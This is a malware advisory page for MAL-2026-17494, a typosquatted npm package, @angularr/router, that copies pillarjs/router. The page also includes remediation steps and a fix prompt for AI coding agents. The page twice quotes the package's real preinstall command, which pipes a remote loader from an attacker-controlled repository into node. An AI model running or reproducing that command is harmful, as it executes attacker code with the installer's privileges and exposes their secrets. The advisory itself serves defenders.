# MAL-2026-17494: Malicious code in @angularr/router (npm)


- **Type:** Malicious package
- **Package:** `@angularr/router` (npm)
- **Published:** 3 Oct 2026

## What is MAL-2026-17494?

MAL-2026-17494 is a malicious package in @angularr/router, published on 3 Oct 2026. 

### Official description

@angularr/router@2.2.0 impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party repository (gitflic.ru user `hellscripter`, proxied via web.archive.org) and piping it directly into Node for execution during `npm install`. The code executes with the installer's privileges before any package code is loaded. The package name `@angularr/router` (double-r) resembles `@angular/router`, while the shipped library code is a verbatim copy of pillarjs/router (unrelated to Angular) that serves as cover for the malicious lifecycle hook.

## What should I do about MAL-2026-17494?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17494 is a malicious package: @angularr/router (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17494/ (Markdown: https://insights.sbomify.com/MAL-2026-17494/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17494

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-17494/
Summaries are generated and may contain mistakes; the official description above is the record.
